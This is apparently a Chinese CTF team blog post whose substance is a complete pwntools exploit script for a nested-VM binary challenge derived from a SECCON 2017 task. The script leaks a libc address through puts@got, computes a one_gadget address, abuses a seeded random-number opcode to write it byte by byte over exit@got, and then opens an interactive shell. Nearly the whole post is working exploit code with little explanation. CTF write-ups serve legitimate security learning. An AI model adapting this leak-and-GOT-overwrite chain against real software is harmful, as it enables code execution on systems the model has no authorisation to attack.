[Pwn]vm xp0int Posted on Oct 28 2018 # vm <br> 本题修改自 [500_vm_no_fun](https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn/500_vm_no_fun) ,syscall table做了修改 <br> exp如下: ```python from pwn import * from pwnlib.util.packing import p16, p32, p64, u64 import platform, subprocess, os, pipes # context.log_level = 'DEBUG' def codepad_c(code): return subprocess.check_output('echo %s | \ xxd -r -ps > /tmp/$$.c;\ gcc /tmp/$$.c -o /tmp/$$.bin;\ /tmp/$$.bin;\ rm /tmp/$$.*' % code.encode('hex'), shell=True) OPERAND_REG = 0 OPERAND_IMM = 1 OPERAND_MEM = 2 OPERAND_STACK = 3 OP_MASK = 31 OP_WORD = 32 OP_BYTE = 64 REG_AX = 0 REG_BX = 1 REG_CX = 2 REG_DX = 3 REG_CS = 4 REG_DS = 5 REG_SS = 6 REG_ES = 7 REG_SI = 8 REG_DI = 9 REG_BP = 10 REG_SP = 11 REG_FLAGS = 12 REG_IP = 13 VM2_REG_AX = 11 VM2_REG_BX = 3 VM2_REG_CX = 13 VM2_REG_DX = 5 VM2_REG_CS = 8 VM2_REG_DS = 10 VM2_REG_SS = 1 VM2_REG_ES = 7 VM2_REG_SI = 0 VM2_REG_DI = 2 VM2_REG_BP = 12 VM2_REG_SP = 9 VM2_REG_FLAGS = 4 VM2_REG_IP = 6 VM3_REG_AX = 10 VM3_REG_BX = 6 VM3_REG_CX = 1 VM3_REG_DX = 2 VM3_REG_CS = 9 VM3_REG_DS = 3 VM3_REG_SS = 0 VM3_REG_ES = 4 VM3_REG_SI = 13 VM3_REG_DI = 11 VM3_REG_BP = 8 VM3_REG_SP = 7 VM3_REG_FLAGS = 12 VM3_REG_IP = 5 VM1_OPCODE_NOP = 0x90 VM1_OPCODE_MOV = 0x89 VM1_OPCODE_ADD = 0x1 VM1_OPCODE_SUB = 0x29 VM1_OPCODE_XOR = 0x31 VM1_OPCODE_MUL = 0xf6 VM1_OPCODE_DIV = 0xf7 VM1_OPCODE_PUSH_WORD = 0x50 VM1_OPCODE_POP_WORD = 0x57 VM1_OPCODE_PUSH_BYTE = 0x51 VM1_OPCODE_POP_BYTE = 0x58 VM1_OPCODE_HLT = 0xf4 VM1_OPCODE_OUT = 0x0b VM1_OPCODE_IN = 0x0c VM1_OPCODE_CMP_WORD = 0x38 VM1_OPCODE_CMP_BYTE = 0x39 VM1_OPCODE_CALL = 0xe8 VM1_OPCODE_RET = 0xc3 VM1_OPCODE_JE = 0x4f VM1_OPCODE_JNE = 0x5f VM1_OPCODE_JMP = 0xe9 VM2_OPCODE_NOP = 0x92 VM2_OPCODE_MOV = 0x28 VM2_OPCODE_ADD = 0x82 VM2_OPCODE_SUB = 0xb4 VM2_OPCODE_XOR = 0x29 VM2_OPCODE_MUL = 0x60 VM2_OPCODE_DIV = 0x7e VM2_OPCODE_PUSH_WORD = 0x88 VM2_OPCODE_POP_WORD = 0x20 VM2_OPCODE_PUSH_BYTE = 0x93 VM2_OPCODE_POP_BYTE = 0xda VM2_OPCODE_HLT = 0x83 VM2_OPCODE_OUT = 0x85 VM2_OPCODE_IN = 0xdb VM2_OPCODE_CMP_WORD = 0xec VM2_OPCODE_CMP_BYTE = 0x04 VM2_OPCODE_CALL = 0x8a VM2_OPCODE_RET = 0xbc VM2_OPCODE_JE = 0x51 VM2_OPCODE_JNE = 0x57 VM2_OPCODE_JMP = 0x75 VM3_OPCODE_NOP = 0 VM3_OPCODE_MOV = 1 VM3_OPCODE_ADD = 2 VM3_OPCODE_SUB = 3 VM3_OPCODE_XOR = 4 VM3_OPCODE_MUL = 5 VM3_OPCODE_DIV = 6 VM3_OPCODE_PUSH_WORD = 7 VM3_OPCODE_POP_WORD = 8 VM3_OPCODE_PUSH_BYTE = 9 VM3_OPCODE_POP_BYTE = 10 VM3_OPCODE_HLT = 11 VM3_OPCODE_OUT = 12 VM3_OPCODE_IN = 13 VM3_OPCODE_CMP_WORD = 14 VM3_OPCODE_CMP_BYTE = 15 VM3_OPCODE_CALL = 16 VM3_OPCODE_RET = 17 VM3_OPCODE_JE = 18 VM3_OPCODE_JNE = 19 VM3_OPCODE_JMP = 21 # SWITCH CODE HERE!!! VM3_OPCODE_RDRAND = 20 VM3_OP1_TYPE = (3 << 8) VM3_OP1_REG = (1 << 8) VM3_OP1_IMM = (2 << 8) VM3_OP1_MEM = (3 << 8) VM3_OP1_SIZE = (3 << 10) VM3_OP1_WORD = (1 << 10) VM3_OP1_BYTE = (2 << 10) VM3_OP2_TYPE = (3 << 12) VM3_OP2_REG = (1 << 12) VM3_OP2_IMM = (2 << 12) VM3_OP2_MEM = (3 << 12) VM3_OP2_SIZE = (3 << 14) VM3_OP2_WORD = (1 << 14) VM3_OP2_BYTE = (2 << 14) def vm_asm(ins, *args): result = '' result += chr(ins) result += chr(len(args)) if len(args): for arg in args: result += arg # print result.encode('hex') return result def vm2_asm(ins, *args): result = '' result += chr(ins) if len(args): for arg in args: result += arg[1:] + arg[0] result = result.ljust(11, '\x00') # print result.encode('hex') return result def arg_reg(num): return chr(32) + p16(num) def arg_reg4(num): return '\x20' + p32(num) def arg_imm(value): return '\x21' + p16(value) def arg_imm4(value): return '\x21' + p32(value) def arg_mem(num): return '\x22' + p16(num) def arg_mem4(num): return '\x22' + p32(num) def vm3_operand(op): if op[0] == 'word': pass elif op[0] == 'byte': pass else: raise ValueError def vm3_asm(ins, operand_info, *args): result = '' result += p16(ins | operand_info) if len(args): for arg in args: result += arg # print result.encode('hex') return result def send(data): s.send(p32(len(data)) + data) # s = remote('35.221.144.41', 10005) s = process('./vm_vm_vm') s.verbose = False code2 = '' code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SS), arg_imm4(0)) # puts@got code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SP), arg_imm4(-(0x215100 - 0x205020) & 0xffffffff)) code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_AX)) code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_BX)) code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_DS), arg_reg4(VM2_REG_ES)) code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(0), arg_reg4(VM2_REG_AX)) code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(4), arg_reg4(VM2_REG_BX)) code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_AX), arg_imm4(8)) code2 += vm2_asm(VM2_OPCODE_OUT) code2 += vm2_asm(VM2_OPCODE_HLT) code2 = code2.ljust(0x800, '\x00') code = '' code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600)) code += vm_asm(VM1_OPCODE_IN) code += vm_asm(VM1_OPCODE_HLT) # select VM1 s.readuntil('\n') s.send('\x01') s.readuntil('\n') send(code) send(code2) # select VM2 s.readuntil('\n') s.send('\x02') s.readuntil('\n') # clear VM1 s.readuntil('\n') s.send('\x04') s.readuntil('\n') # select VM1 s.readuntil('\n') s.send('\x01') s.readuntil('A\n') code = '' code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x800)) code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_AX), arg_imm(0x8)) code += vm_asm(VM1_OPCODE_OUT) code += vm_asm(VM1_OPCODE_HLT) send(code) libc_base = u64(s.recv(8)) - 0x6f690 ######################### # leak done ######################### # clear VM1 s.readuntil('\n') s.send('\x04') # clear VM2 s.readuntil('\n') s.send('\x05') # clear VM3 s.readuntil('\n') s.send('\x06') def execute_vm3(c): code2_ = '' code2_ += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_ES), arg_imm4(0x600 - 0x80)) code2_ += vm2_asm(VM2_OPCODE_IN) code2_ += vm2_asm(VM2_OPCODE_HLT) code2_ = code2_.ljust(0x800, '\x00') code2_ += c code_ = '' code_ += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600)) code_ += vm_asm(VM1_OPCODE_IN) code_ += vm_asm(VM1_OPCODE_HLT) # select VM1 s.readuntil('\n') s.send('\x01') s.readuntil('A\n') send(code_) send(code2_) # select VM2 s.readuntil('\n') s.send('\x02') s.readuntil('\n') # select VM3 s.readuntil('\n') s.send('\x03') s.readuntil('\n') def rand_solver(prev_, required): return int(codepad_c(''' #include <stdio.h> #include <stdlib.h> int main() { int i; int x = 0; srand(0xbabababa); //CHANGE SEED HERE!! for(i = 0; i < 0x10000; i++) { if ((rand() & 0xff) == %d && i > %d) break; } printf("%%d", i); return x; } ''' % (required, prev_))) # one_gadget write_value = libc_base + 0x4526a prev = 0 for i in xrange(8): cur = rand_solver(prev + i, write_value & 0xff) write_value >>= 8 code3 = '' code3 += vm3_asm(VM3_OPCODE_MOV, VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD, p16(VM3_REG_DI), p16(0)) code3 += vm3_asm(VM3_OPCODE_RDRAND, 0) * (cur - prev) code3 += vm3_asm(VM3_OPCODE_MOV, VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD, p16(VM3_REG_DS), p16(0)) # exit@got code3 += vm3_asm(VM3_OPCODE_MOV, VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD, p16(VM3_REG_DI), p16(-(0x2050C0 - 0x205078 - i) & 0xffff)) code3 += vm3_asm(VM3_OPCODE_RDRAND, 0) code3 += vm3_asm(VM3_OPCODE_HLT, 0) execute_vm3(code3) prev = cur + 1 # raise SIGILL execute_vm3('\xff') print '$$$' s.interactive() s.close() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc]bitcoin_base [Misc]加密了吗
没有帐号? 立即注册